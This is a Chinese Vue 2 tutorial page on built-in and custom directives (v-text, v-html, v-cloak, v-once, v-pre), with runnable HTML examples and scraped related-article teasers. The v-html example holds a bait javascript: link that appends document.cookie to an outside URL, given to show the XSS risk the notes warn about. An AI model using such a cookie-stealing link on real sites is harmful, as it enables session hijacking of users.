Vue笔记 4

内置指令

1.v-text_指令

我们学过的指令：

​ v-bind : 单向绑定解析表达式, 可简写为 :xxx

​ v-model : 双向数据绑定

​ v-for : 遍历数组/对象/字符串

​ v-on : 绑定事件监听, 可简写为@

​ v-if : 条件渲染（动态控制节点是否存存在）

​ v-else : 条件渲染（动态控制节点是否存存在）

​ v-show : 条件渲染 (动态控制节点是否展示)

​ v-text指令：

​ 1.作用：向其所在的节点中渲染文本内容。

​ 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>v-text指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好，{{name}}</div>
		<div v-text="name"></div>
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊！</h3>'
		}
	})
</script>

</html>

2.v-html_指令

v-html指令：

​ 1.作用：向指定节点中渲染包含html结构的内容。

​ 2.与插值语法的区别：

​ (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

​ (2).v-html可以识别html结构。

​ 3.严重注意：v-html有安全性问题！！！！

​ (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

​ (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
			}
		})
	</script>
</html>

3.v-cloak_指令

v-cloak指令（没有值）：

​ 1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

​ 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

4.v-once_指令

v-once指令：

​ 1.v-once所在节点在初次动态渲染后，就视为静态内容了。

​ 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令：
						1.v-once所在节点在初次动态渲染后，就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

5.v-pre_指令

v-pre指令：

​ 1.跳过其所在节点的编译过程。

​ 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

自定义指令

自定义指令总结：

​ 一、定义语法：

​ (1).局部指令：

​ new Vue({ new Vue({

​ directives:{指令名:配置对象} 或 directives{指令名:回调函数}

​ }) })

​ (2).全局指令：

​ Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

​ 二、配置对象中常用的3个回调：

​ (1).bind：指令与元素成功绑定时调用。

​ (2).inserted：指令所在元素被插入页面时调用。

​ (3).update：指令所在模板结构被重新解析时调用。

​ 三、备注：

​ 1.指令定义时不加v-，但使用时要加v-；

​ 2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是：<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时（一上来）
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/584861.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Linux编辑器调试器 gcc/g++ gdb 编译过程及使用讲解

Linux编辑器调试器 gcc/g++ gdb 编译过程及使用讲解

这恋爱呀 我有两不谈 第一异性不谈 因为我们性别不一样 我知道的她不知道相处起来太累 第二同性不谈 因为我们性别一样 我知道的他也知道相处起来太无聊了 –❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀-正文开始-❀–❀–❀–❀–❀–❀–…
阅读更多...
Oracle程序常驻程序内存优化【数据库实例优化系列二】

Oracle程序常驻程序内存优化【数据库实例优化系列二】

Oracle系统参数调整【数据库实例优化系列一】-CSDN博客 Oracle数据库中有一个软件包 dbms_shared_pool，它可以keep和unkeep，将用户经常使用的程序，比如存储过程、函数、序列、触发器、游标以及java source等数据库对象，长期保存在这一块区域。这些程序可以常驻这个区域（s…
阅读更多...
若依前后端部署系统--详细附图

若依前后端部署系统--详细附图

一、后端部署 1、在ruoyi项目的Maven中的生命周期下双击package.bat打包Web工程&#xff0c;生成jar包文件。 提示打包成功 2、多模块版本会生成在ruoyi/ruoyi-admin模块下target文件夹,我们打开目录ruoyi-admin/taget&#xff0c;打开cmd&#xff0c;运行java -jar jar包名称…
阅读更多...
【无标题】测试下目录间距

【无标题】测试下目录间距

文章目录 前言一、Java基础题1、Java语言的三大特性2、JDK 和 JRE 有什么区别3、Java基本数据类型及其封装类4、说明一下public static void main(String args[])这段声明里关键字的作用5、 与 equals 的区别6、Java语言的三大特性7、Java语言的三大特性8、Java语言的三大特性9…
阅读更多...
【华为】NAT的分类和实验配置

【华为】NAT的分类和实验配置

【华为】NAT的分类和实验配置 NAT产生的技术背景IP地址分类NAT技术原理NAT分类静态NAT动态NATNAPTEasy IP&#xff08;PAT&#xff09;NAT Server 配置拓扑静态NAT测试抓包 动态NAT测试抓包 NAPT测试抓包 PAT测试抓包 NAT Server检测抓包 PC1PC2服务器 NAT产生的技术背景 随着…
阅读更多...
最新全国区划编码

最新全国区划编码

一、数据来源 国家统计局2023年数据: 二、区划编码现成文件 1、获取方式&#xff1a; csdn&#xff1a;资源绑定v&#xff1a;JFAN0329 三、python部分代码分析 import timeimport requests from bs4 import BeautifulSoup import re import xlsxwriterdef mainClass()…
阅读更多...
用户中心（上）

用户中心（上）

文章目录 企业做项目流程需求分析技术选型计划初始化项目数据库设计登录/注册⽤户管理&#xff08;仅管理员可⻅&#xff09; 初始化项目⼀、前端初始化1.下载nodejs2.Ant Design Pro相关问题1.前端项目启动时报错、无法启动&#xff1f;2.如何初始化前端项目&#xff1f;为什么…
阅读更多...
源码篇--Nacos服务--中章(8):Nacos服务端感知客户端实例变更-3

源码篇--Nacos服务--中章(8):Nacos服务端感知客户端实例变更-3

文章目录 前言一、客户端实例变更&#xff1a;二、实例变更感知&#xff1a;2.1 实例注册信息通知&#xff1a;2.1.1 接收DistroDataRequest 请求&#xff1a;2.1.2 onReceive 处理请求&#xff1a;2.1.3 processData 处理请求&#xff1a;2.1.4 handlerClientSyncData 处理数据…
阅读更多...
电脑提示msvcr110.dll文件丢失的常见问题以及解决方案

电脑提示msvcr110.dll文件丢失的常见问题以及解决方案

在使用电脑时突然提示msvcr110.dll文件丢失的问题&#xff0c;这是一个的常见问题接下俩这篇文章将教大家几种以及msvcr110.dll丢失的解决方案&#xff0c;用户可能会遇到一些常见问题&#xff0c;这些问题可能会影响他们的软件运行或系统稳定性。以下是一些常见问题及其解决方…
阅读更多...
嵌入式焊接小知识

嵌入式焊接小知识

焊接技巧 直插件焊接 焊接流程&#xff1a; 烙铁头略微加锡同时加热焊盘、管脚&#xff08;1~2秒&#xff09;上锡、离锡烙铁头迅速离开 烙铁头注意事项&#xff1a; 如果焊盘不沾锡&#xff0c;可预先涂一些松香、助焊剂到焊盘烙铁通电时&#xff0c;不要随意放置烙铁头&am…
阅读更多...
Vue通过下拉框选择字典值，并将对应的label以及value值提交到后端

Vue通过下拉框选择字典值，并将对应的label以及value值提交到后端

产品品种从字典中获取 产品性质也是从字典中获取 字典当中的保存 dict_type表 dict_data表 在表单提交的方法中 1.因为做的产品性质是多选&#xff0c;它会以数组的方式提交&#xff0c;所以需要先将Json格式转变为String JSON.stringify(this.form.nature) 2.提交表单&…
阅读更多...
【酱浦菌-模拟仿真】python模拟仿真PN结伏安特性

【酱浦菌-模拟仿真】python模拟仿真PN结伏安特性

PN结的伏安特性 PN结的伏安特性描述了PN结在外部电压作用下的电流-电压行为。这种特性通常包括正向偏置和反向偏置两种情况。 正向偏置 当外部电压的正极接到PN结的P型材料&#xff0c;负极接到N型材料时&#xff0c;称为正向偏置。在这种情况下&#xff0c;外加的正向电压会…
阅读更多...
Anaconda的环境快速迁移（目前windows，未来更新linux）

Anaconda的环境快速迁移（目前windows，未来更新linux）

摘要&#xff1a; 日常办公经常需要在新机器上部署运行环境并进行代码调试&#xff0c;尤其是在AI迅速发展的今天&#xff0c;python已经成为了强有力的AI领域编程语言之一。为了方便对不同windows下python代码工程进行快速部署。本文主要从工具环境的安装、原环境的快速打包、…
阅读更多...
消灭AI“耗电巨兽”？暴雨服务器推出液冷节能降耗算力方案

消灭AI“耗电巨兽”？暴雨服务器推出液冷节能降耗算力方案

在科技飞速发展的今天&#xff0c;人工智能已成为驱动未来的重要力量。随着AI及大模型技术的进一步普及和应用场景的拓宽&#xff0c;相关算力需求呈指数级增长&#xff0c;大规模的AI训练和推理过程均需消耗大量电力&#xff0c;如同一个巨大的电力黑洞&#xff0c;吞噬着海量…
阅读更多...
【云原生】Docker 实践（一）：在 Docker 中部署第一个应用

【云原生】Docker 实践（一）：在 Docker 中部署第一个应用

Docker 实践&#xff08;一&#xff09;&#xff1a;在 Docker 中部署第一个应用 1.使用 YUM 方式安装 Docker2.验证 Docker 环境3.在 Docker 中部署第一个应用3.1 小插曲&#xff1a;docker pull 报 missing signature key 错误3.2 重新安装 Nginx 1.使用 YUM 方式安装 Docker…
阅读更多...
QT学习之QtXlsx

QT学习之QtXlsx

背景&#xff1a; 本来我是想提取xml中的信息存在xlsx文件中的&#xff0c;网上很多说是使用QtXlsx&#xff1b; 于是我找了一些帖&#xff0c; 像&#xff1a;https://www.cnblogs.com/liming19680104/p/14398459.html&#xff1b; 大家的说法都是安装第三方库到QT中&#xff…
阅读更多...
Linux内存相关名词介绍

Linux内存相关名词介绍

在日常的问题排查过程中&#xff0c;Linux内存相关的问题也非常多&#xff0c;OOM、内存泄漏 都是比较头疼的而且非常常见一些问题。如下图&#xff0c;我们都知道Linux 内存将内存做了以下划分(如: Node、Zone、Page)&#xff0c;这里我们先简单看一些内存相关的名词解释。 …
阅读更多...
「中标喜报」合众致达中标深圳安居乐寓智能水电表供货及安装项目

「中标喜报」合众致达中标深圳安居乐寓智能水电表供货及安装项目

2024年4月25日&#xff0c;深圳合众致达科技有限公司(以下简称“我司”)成功中标安居乐寓2023盐田区保障性租赁住房改造提升项目的水电表供货与安装工程(二次)项目&#xff0c;此次中标标志着我司在城中村公寓出租房能源计费领域的专业实力及市场竞争力得到了进一步的认可。 我…
阅读更多...
手搓数组栈（C语言）

手搓数组栈（C语言）

stack.h #pragma once#include <stdio.h> #include <stdlib.h> #include <assert.h> #include <stdbool.h> // 支持动态增长的栈 typedef int STDataType; typedef struct Stack {STDataType* a;int top; // 栈顶int capacity; // 容量 }Stack; //…
阅读更多...
我们自己的芯片指令集架构——龙芯架构简介

我们自己的芯片指令集架构——龙芯架构简介

CPU指令集架构&#xff08;ISA, Instruction Set Architecture&#xff09; CPU指令集架构是处理器硬件与软件之间的接口规范&#xff0c;它定义了一组基本指令&#xff0c;以及这些指令的操作格式、编码方式、寻址模式、寄存器组织、中断机制、异常处理等各个方面。ISA是计算…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站